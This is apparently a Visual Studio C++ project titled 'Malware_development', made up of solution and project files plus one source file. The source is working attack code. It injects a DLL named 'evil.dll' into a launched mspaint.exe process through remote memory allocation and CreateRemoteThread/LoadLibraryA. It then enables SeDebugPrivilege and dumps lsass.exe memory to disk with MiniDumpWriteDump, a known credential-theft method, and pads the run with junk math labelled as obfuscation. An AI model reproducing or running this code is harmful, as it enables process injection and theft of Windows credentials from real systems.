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‎Malware_development.sln

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Microsoft Visual Studio Solution File, Format Version 12.00
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# Visual Studio Version 16
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VisualStudioVersion = 16.0.33529.622
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MinimumVisualStudioVersion = 10.0.40219.1
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Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Malware_development", "Malware_development\Malware_development.vcxproj", "{006AA719-5F50-4C14-84D9-88F7D8E077A9}"
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EndProject
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Global
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GlobalSection(SolutionConfigurationPlatforms) = preSolution
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Debug|x64 = Debug|x64
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Debug|x86 = Debug|x86
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Release|x64 = Release|x64
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Release|x86 = Release|x86
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EndGlobalSection
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GlobalSection(ProjectConfigurationPlatforms) = postSolution
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{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Debug|x64.ActiveCfg = Debug|x64
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{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Debug|x64.Build.0 = Debug|x64
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{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Debug|x86.ActiveCfg = Debug|Win32
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{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Debug|x86.Build.0 = Debug|Win32
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{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Release|x64.ActiveCfg = Release|x64
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{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Release|x64.Build.0 = Release|x64
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{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Release|x86.ActiveCfg = Release|Win32
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{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Release|x86.Build.0 = Release|Win32
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EndGlobalSection
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GlobalSection(SolutionProperties) = preSolution
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HideSolutionNode = FALSE
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EndGlobalSection
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GlobalSection(ExtensibilityGlobals) = postSolution
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SolutionGuid = {9858D780-EFC8-4AA2-816E-31C5FD3270AD}
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EndGlobalSection
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EndGlobal

‎Malware_development/Malware_development.cpp

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#include <iostream>
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#include <windows.h>
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#include <stdio.h>
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#include <math.h>
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#include <string.h>
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#include <tlhelp32.h>
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#include <stdlib.h>
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#include <dbghelp.h>
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#pragma comment(lib, "ntdll")
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#pragma comment(lib, "dbghelp.lib")
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typedef NTSTATUS(NTAPI* pNtAllocateVirtualMmemory)(
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HANDLE ProcessHandle,
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PVOID *BaseAddress,
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ULONG ZeroBits,
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PULONG RegionSize,
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ULONG AllocationType,
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ULONG Protect
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);
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char maliciousLibraryPath[] = "evil.dll";
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unsigned int maliciousLibraryPathLength = sizeof(maliciousLibraryPath) + 1;
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// find a process and return its id
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int locateTargetProcess(const char* targetProcName) {
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HANDLE hSnapshot;
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PROCESSENTRY32 processEntry;
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int pID = 0;
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BOOL hResult;
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// snapshot of all processes in the system
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hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
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if (INVALID_HANDLE_VALUE == hSnapshot) {
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return 0;
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}
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//initializing size: needed for using Process32First
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processEntry.dwSize = sizeof(PROCESSENTRY32);
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// info about first process encountred in a system snapshot
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hResult = Process32First(hSnapshot, &processEntry);
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// retrieve information about the process
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// and exit if unsecussful
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size_t length = strlen(targetProcName) + 1;
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wchar_t wProcName[100];
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mbstowcs(wProcName, targetProcName, length);
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while (hResult) {
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// if we find the process: return process ID
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if (wcscmp(wProcName, processEntry.szExeFile) == 0) {
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pID = processEntry.th32ProcessID;
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break;
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}
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hResult = Process32Next(hSnapshot, &processEntry);
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}
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CloseHandle(hSnapshot);
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return pID;
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}
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// set privilege
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BOOL enablePrivilege(LPCTSTR privilegeName) {
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HANDLE processToken;
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TOKEN_PRIVILEGES tokenPrivileges;
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LUID privilegeLUID;
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BOOL result = TRUE;
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if (!LookupPrivilegeValue(NULL, privilegeName, &privilegeLUID)) {
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result = FALSE;
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}
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tokenPrivileges.PrivilegeCount = 1;
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tokenPrivileges.Privileges[0].Luid = privilegeLUID;
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tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
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if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &processToken)) {
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result = FALSE;
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}
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if (!AdjustTokenPrivileges(processToken, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
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result = FALSE;
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}
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return result;
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}
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// create minidump of lsass.exe
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BOOL generateMinDump() {
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bool dumpSuccess = FALSE;
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int processID = locateTargetProcess("lsass.exe");
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HANDLE processHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, processID);
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HANDLE outputHandle = CreateFile((LPCTSTR)"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
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if (processHandle && outputHandle != INVALID_HANDLE_VALUE) {
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dumpSuccess = MiniDumpWriteDump(processHandle, processID, outputHandle, (MINIDUMP_TYPE)0x00000002, NULL, NULL, NULL);
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}
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return dumpSuccess;
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}
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// obfuscation
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void MathOperations() {
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volatile int x = 0;
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x += 1;
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x -= 1;
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x *= 1;
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x /= 1;
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double y = 2.5;
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double z = 3.7;
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double result = 0.0;
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for (int i = 0; i < 3; i++) {
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result = sqrt(pow(y, 2) + pow(z, 2) + i);
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result = sin(result);
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result = cos(result);
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result = tan(result);
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}
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for (int i = 0; i < 10; ++i) {
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result *= i;
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result /= i;
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result += i;
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}
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if (result < 100) {
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result -= 100;
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} else{
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result += 100;
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}
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}
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int main(int argc, char* argv[]){
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HANDLE targetProcess;
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HANDLE remoteThread;
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LPVOID remoteBuffer;
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// Obtain handles to kernel32 and ntdll and retrieve function pointer
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HMODULE ntdllHandle = GetModuleHandle(L"ntdll");
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HMODULE kernel32Handle = GetModuleHandle(L"Kernel32");
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VOID* loadLibraryFunction = (VOID*)GetProcAddress(kernel32Handle, "LoadLibraryA");
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STARTUPINFOA si;
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PROCESS_INFORMATION pi;
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ZeroMemory(&si, sizeof(STARTUPINFOA));
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si.cb = sizeof(STARTUPINFOA);
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const char* process = "mspaint.exe";
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CreateProcessA(NULL, (LPSTR)process, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
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int pid = -1;
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pid = locateTargetProcess(process);
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MathOperations();
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// Parse process ID
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if (pid <= 0) {
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return -1;
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}
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targetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);
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pNtAllocateVirtualMmemory myNtAllocateVirtualMemory = (pNtAllocateVirtualMmemory)GetProcAddress(ntdllHandle, "NtAllocateVirtualMemory");
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// Allocate memory buffer in the remote process
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myNtAllocateVirtualMemory(targetProcess, &remoteBuffer, 0, (PULONG)&maliciousLibraryPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
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// Copy the malicious DLL path to the remote process
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WriteProcessMemory(targetProcess, remoteBuffer, maliciousLibraryPath, maliciousLibraryPathLength, NULL);
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// Start a new thread in the target process
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remoteThread = CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryFunction, remoteBuffer, 0, NULL);
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CloseHandle(targetProcess);
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MathOperations();
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if (!enablePrivilege(SE_DEBUG_NAME)) {
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return -1;
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}
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if (!generateMinDump()) {
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return -1;
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}
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return 0;
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}
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‎Malware_development/Malware_development.vcxproj

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<?xml version="1.0" encoding="utf-8"?>
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<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup Label="ProjectConfigurations">
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<ProjectConfiguration Include="Debug|Win32">
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<Configuration>Debug</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|Win32">
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<Configuration>Release</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Debug|x64">
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<Configuration>Debug</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|x64">
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<Configuration>Release</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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</ItemGroup>
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<PropertyGroup Label="Globals">
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<VCProjectVersion>16.0</VCProjectVersion>
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<Keyword>Win32Proj</Keyword>
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<ProjectGuid>{006aa719-5f50-4c14-84d9-88f7d8e077a9}</ProjectGuid>
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<RootNamespace>Malwaredevelopment</RootNamespace>
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<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v142</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
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<ImportGroup Label="ExtensionSettings">
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</ImportGroup>
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<ImportGroup Label="Shared">
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<PropertyGroup Label="UserMacros" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<LinkIncremental>true</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<LinkIncremental>false</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<LinkIncremental>true</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<LinkIncremental>false</LinkIncremental>
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</PropertyGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<FunctionLevelLinking>true</FunctionLevelLinking>
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<IntrinsicFunctions>true</IntrinsicFunctions>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<EnableCOMDATFolding>true</EnableCOMDATFolding>
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<OptimizeReferences>true</OptimizeReferences>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<FunctionLevelLinking>true</FunctionLevelLinking>
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<IntrinsicFunctions>true</IntrinsicFunctions>
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<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<ConformanceMode>true</ConformanceMode>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<EnableCOMDATFolding>true</EnableCOMDATFolding>
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<OptimizeReferences>true</OptimizeReferences>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemGroup>
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<ClCompile Include="Malware_development.cpp" />
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</ItemGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
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<ImportGroup Label="ExtensionTargets">
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</ImportGroup>
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</Project>

‎Malware_development/Malware_development.vcxproj.filters

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<?xml version="1.0" encoding="utf-8"?>
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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup>
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<Filter Include="Исходные файлы">
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<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
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<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
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</Filter>
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<Filter Include="Файлы заголовков">
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<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
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<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
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</Filter>
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<Filter Include="Файлы ресурсов">
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<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
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<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
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</Filter>
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</ItemGroup>
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<ItemGroup>
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<ClCompile Include="Malware_development.cpp">
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<Filter>Исходные файлы</Filter>
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</ClCompile>
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</ItemGroup>
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</Project>

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